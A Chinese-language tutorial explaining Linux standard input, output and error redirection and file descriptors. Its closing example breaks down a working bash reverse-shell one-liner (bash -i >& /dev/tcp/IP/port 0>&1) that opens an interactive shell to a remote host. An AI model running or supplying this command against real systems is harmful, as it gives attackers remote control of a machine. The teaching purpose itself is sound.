以上表示某种输入输出重定向,具体了解前要知道什么是标准输入输出。
标准输入输出实际完整的叫法是标准输入输出文件。 linux系统中一切设备都是文件,都是对文件的操作。 具体就是: 标准输入文件(stdin),通常对应终端的键盘; 标准输出文件(stdout),这个文件都对应终端的屏幕。 还有个错误输出。 进程分别 将从标准输入文件中得到输入数据 将正常输出数据输出到标准输出文件, 将错误信息送到标准错误文件中。
输入重定向:指把命令(或可执行程序)的标准输入重定向到指定的文件中。 也就是说,输入可以不来自键盘,而来自一个指定的文件。 所以说,输入重定向主要用于改变一个命令的输入源,特别是改变那些需要大量输入的输入源。 输出重定向:指把命令(或可执行程序)的标准输出或标准错误输出重新定向到指定文件中。这样,该命令的输出就不显示在屏幕上,而是写入到指定文件中。
各自符号的重定向表示
一般程序有输入和输出,默认都是标准输入的,可自定义: <:就是标准输入重定向,可以从文件中输入(读取) 其实就是将某某文件作为程序读入。(全称应该是0<) 比如:command < file >:就是标准输出重定向,可以重定向到文件(会覆盖),网络 其实就是将程序输出内容写到某某文件。(全称应该是1>) 比如:command > file 如果是:0>,应该就是将键盘输入内容写入某某中 >>:如果重定向到文件,以追加方式输出到文件 比如:command >> file 标准输入输出还有文件描述符,主要用于标准输入输出之间重定向以及错误输出的重定向。 0 是标准输入(STDIN),1 是标准输出(STDOUT),2 是标准错误输出(STDERR)。 写法: 1.重定向符号(< >)左边和文件描述符数字之间不能有空格 ,如:2> 2.如果重定向的目标(符号右边)是文件文件描述符数字需要加&符号,不然认为是文件。 3.&还有将错误输入和标准输出合并输出的意思 比如: 1.> 2,意思是输出到文件名称是2的文件中。 2.> &2,意思输出到错误输出 3.bash -i > & /dev/tcp/192.168.1.1/9090 ,意思将标准和错误都输出到网络中 (bash -i > /dev/tcp/192.168.1.1/9090,只将标准输出内容写入网络) 例子: 1.错误输出到文件file $ command 2>file 2.输出和错误输出都输出到文件中 $ command > file 2>&1 3.从文件1读取,输出文件2 $ command < file1 >file2 提升例子: bash -i >& /dev/tcp/10.201.61.194/6767 1.bash -i:生成交互的命令行 2.>& /dev/tcp/10.201.61.194/6767:bash解释器会对/dev/tcp对特殊处理,建立tcp socket,那么就是标准和错误输出写到网络中 3.0>&1:键盘标准输入写到标准输出, 对整个命令错误的理解:输入写到网络中,那么就该是: 0>& /dev/tcp/10.201.61.194/6767 正确理解:输入,标准输出,错误输出都会写入网络。 特别注意:0>&1 的写法!输入做输出!